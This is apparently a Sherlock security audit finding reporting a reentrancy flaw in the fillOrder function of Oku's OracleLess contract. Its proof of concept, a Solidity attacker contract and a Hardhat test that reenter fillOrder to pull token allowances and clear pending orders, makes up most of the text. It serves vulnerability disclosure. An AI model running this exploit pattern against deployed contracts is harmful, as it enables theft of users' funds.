Dazzling Frost Swallow - Reentrancy in fillOrder

[sherlock-admin2]

Dazzling Frost Swallow

High

Reentrancy in fillOrder

Summary

In fillOrder, execute allows the target to execute a arbitrary data and with that reenter into another fill order, filling the same order twice or multiple times and clearing the list of pending orders in doing so https://github.com/sherlock-audit/2024-11-oku-0xPr0f

Root Cause

Due to the lack in reentracy check, it allows target to reenter and execute the same order twice and clear the pending list of order so anyone who has an active order will lose their order id and funds

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

it clears the pending order id list causing users to lose funds cause their orders will be unable to be fulfilled and removed from the list

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {OracleLess} from "./OracleLess.sol";
import "../interfaces/openzeppelin/IERC20.sol";
import "../interfaces/openzeppelin/SafeERC20.sol";
contract TargetAttacker {
    using SafeERC20 for IERC20; // you have to be safe
    address public oracleLess;
    constructor(address _oracleLess) {
        oracleLess = _oracleLess;
    }
    function createData1(
        uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) public pure returns (bytes memory txData) {
        txData = abi.encodeWithSignature(
            "execute1(uint96,uint96,address,address,address,uint256)",
            pendingOrderIdx,
            orderId,
            target,
            tokenIn,
            tokenOut,
            amountIn
        );
    }
    function createData2(
        uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) public pure returns (bytes memory txData) {
        txData = abi.encodeWithSignature(
            "execute2(uint96,uint96,address,address,address,uint256)",
            pendingOrderIdx,
            orderId,
            target,
            tokenIn,
            tokenOut,
            amountIn
        );
    }
    function execute1(
        uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) public {
        /*
        = IERC20(tokenIn).balanceOf(oracleLess);
       
        IERC20(tokenIn).safeTransfer(
            address(this),
            bal - IERC20(tokenIn).balanceOf(oracleLess)
        );
        require(
            IERC20(tokenIn).allowance(oracleLess, address(this)) == 0,
            "revert non zero"
        );
 */
        IERC20(tokenIn).safeTransferFrom(
            oracleLess,
            address(this),
            IERC20(tokenIn).allowance(oracleLess, address(this))
        );

        OracleLess(oracleLess).fillOrder(
            pendingOrderIdx,
            orderId,
            target,
            createData2(
                pendingOrderIdx,
                orderId,
                target,
                tokenIn,
                tokenOut,
                amountIn
            )
        );
        IERC20(tokenIn).transfer(oracleLess, amountIn);

        IERC20(tokenOut).transfer(
            oracleLess,
            333_000_000_000 //337k USDC
        );
    }
    function execute2(
        uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) public {
        // with the funds in your hands, perform the swap, i am not about to perform a uniswap swap,
        //instead, i will mock it
        // mock a swap
        /* IERC20(tokenOut).safeTransfer(
            _oracleLess_,
            337_000_000_000 //337k USDC
        ); */
        IERC20(tokenIn).transferFrom(
            oracleLess,
            address(this),
            IERC20(tokenIn).allowance(oracleLess, address(this))
        );
        require(
            IERC20(tokenIn).allowance(oracleLess, address(this)) == 0,
            "revert non zero"
        );
        IERC20(tokenOut).transfer(
            oracleLess,
            333_000_000_000 //337k USDC
        );
        /* We dont transfer anything now so the balance check pass but we still 
           have the approval and can come back later for it 
            IERC20(tokenIn).safeTransferFrom(
                _oracleLess_,
                address(this),
                IERC20(tokenIn).allowance(_oracleLess_, address(this))
            ); */

        // with the funds in your hands, perform the swap, i am not about to perform a uniswap swap,
        //instead, i will mock it
    }
}

 it('should create order reenter and steal funds', async function () {
    const waste = await s.WETH.connect(s.Steve).balanceOf(s.Steve)
    //waste the balance by tranfering to the 1 addresses so it doesnt not revert
    await s.WETH.connect(s.Steve).transfer(
      '0x0000000000000000000000000000000000000001',
      waste
    )
    // fund steve a balance and approve him to create order
    // fund the contract with balance which can be as a result of ongoing trades
    //and any funds sent to the contract

    //fund steve
    await stealMoney(
      s.wethWhale,
      await s.Steve.getAddress(),
      await s.WETH.getAddress(),
      ethers.parseEther('150')
    )
    //fund Bob
    await stealMoney(
      s.wethWhale,
      await s.Bob.getAddress(),
      await s.WETH.getAddress(),
      ethers.parseEther('1')
    )
    //fund contract with 10eth,
    // this can be as a result of other trades in the contract e.t.c
    await stealMoney(
      s.wethWhale,
      await s.OracleLess.getAddress(),
      await s.WETH.getAddress(),
      ethers.parseEther('150')
    )
    const steveStartingBalance = await s.WETH.connect(s.Steve).balanceOf(
      s.Steve
    )
    console.log(
      'Steve starting balance:',
      steveStartingBalance,
      ethers.formatEther(steveStartingBalance) + ' eth'
    )
    // Steve is the only order pending so it should be easy
    console.log(
      'Starting pending Id:',
      await s.OracleLess.connect(s.Steve).getPendingOrders()
    )
    await s.WETH.connect(s.Steve).approve(
      await s.OracleLess.getAddress(),
      ethers.parseEther('100.5') //approve 100weth
    )
    await s.WETH.connect(s.Bob).approve(
      await s.OracleLess.getAddress(),
      ethers.parseEther('0.5') //approve 100weth
    )

    //steve which can also be an attacker or a regular person
    await s.OracleLess.connect(s.Steve).createOrder(
      await s.WETH.getAddress(),
      await s.USDC.getAddress(),
      ethers.parseEther('100'),
      0, //no slippage cause i will fill the order right
      await s.Steve.getAddress(),
      0, //no fees cause i am an attacker
      false, //no permit
      '0x'
    )
    //Dummy order
    await s.OracleLess.connect(s.Bob).createOrder(
      await s.WETH.getAddress(),
      await s.USDC.getAddress(),
      ethers.parseEther('0.005'),
      0, //no slippage cause i will fill the order right
      await s.Bob.getAddress(),
      0, //no fees cause i am an attacker
      false, //no permit
      '0x'
    )
    console.log(
      'Pending Id After Creating Id:',
      await s.OracleLess.pendingOrderIds(0)
    )

    //should be 0 cause he created a 100eth order for a usdc swap
    const steveAfterCreateOrderBalance = await s.WETH.balanceOf(s.Steve)
    const contract = await s.WETH.balanceOf(s.OracleLess)
    console.log(
      'Steve After Create Order balance:',
      steveAfterCreateOrderBalance,
      ethers.formatEther(steveAfterCreateOrderBalance) + ' eth'
    )
    console.log(
      'contract balance:',
      contract,
      ethers.formatEther(contract) + ' eth'
    )

    //The attacker tries to fill order our attacker is Gary (BadGary)
    // This is his starting balance
    //fund gary
    await stealMoney(
      s.wethWhale,
      await s.Gary.getAddress(),
      await s.WETH.getAddress(),
      ethers.parseEther('200')
    )
    const AttackerGaryStartingBalance = await s.WETH.connect(s.Gary).balanceOf(
      s.Gary
    )
    console.log(
      'Attacker Gary starting WETH balance:',
      AttackerGaryStartingBalance,
      ethers.formatEther(AttackerGaryStartingBalance) + ' eth'
    )

    // Deploy the contract with constructor arguments

    const AttackerContractFactory = await ethers.getContractFactory(
      'TargetAttacker'
    )

    // Deploy the contract
    const attackerContract = await AttackerContractFactory.deploy(s.OracleLess)
    //executeTradeAndReenter is public for simplicity and ease to replicate
    const result = await s.OracleLess.connect(s.Steve).getPendingOrders()
    // Mock 100eth for the transfer, this would have been implemented with the approve from the contract
    // but implementing uniswap swap would be alot
    await stealMoney(
      s.wethWhale,
      await attackerContract.getAddress(),
      await s.WETH.getAddress(),
      ethers.parseEther('300')
    )
    console.log(
      'WETH balance of attacker contract',
      await s.WETH.balanceOf(attackerContract.getAddress()),
      ethers.formatEther(
        await s.WETH.balanceOf(attackerContract.getAddress())
      ) + 'eth'
    )
    let approveSpend = await s.WETH.connect(s.Gary).approve(
      s.router02,
      BigInt(2) * result[0].amountIn
    )
    approveSpend.wait()

    let success = await generateUniTxCustom(
      s.router02,
      s.UniPool,
      await s.Gary.getAddress(),
      result[0].tokenIn,
      result[0].tokenOut,
      BigInt(2) * result[0].amountIn,
      ethers.parseEther('0') // we are doing a 100eth swap after all
    )
    console.log(
      'USDC balance of Gary',
      await s.USDC.balanceOf(await s.Gary.getAddress()),
      ethers.formatUnits(await s.USDC.balanceOf(await s.Gary.getAddress()), 6) +
        ' USDC.e'
    )
    await s.USDC.connect(s.Gary).transfer(
      attackerContract.getAddress(),
      await s.USDC.balanceOf(await s.Gary.getAddress())
    )
    console.log(
      'USDC balance of Attacker Contract',
      await s.USDC.balanceOf(await attackerContract.getAddress()),
      ethers.formatUnits(
        await s.USDC.balanceOf(await attackerContract.getAddress()),
        6
      ) + ' USDC.e'
    )
    console.log(
      'USDC balance of Gary',
      await s.USDC.balanceOf(await s.Gary.getAddress()),
      ethers.formatUnits(await s.USDC.balanceOf(await s.Gary.getAddress()), 6) +
        ' USDC.e'
    )
    /*
 uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        bytes calldata txData
*/
    await s.OracleLess.connect(s.Gary).fillOrder(
      0 as BigNumberish,
      (await s.OracleLess.pendingOrderIds(0)) as BigNumberish,
      (await attackerContract.getAddress()) as AddressLike,
      (await attackerContract.createData1(
        0,
        await s.OracleLess.pendingOrderIds(0),
        await attackerContract.getAddress(),
        result[0].tokenIn,
        result[0].tokenOut,
        result[0].amountIn
      )) as BytesLike
    )

    console.log(await s.OracleLess.connect(s.Steve).getPendingOrders()) // this will be 0 although there was an order created by bob
  })

Mitigation

add reentrancy check in fill order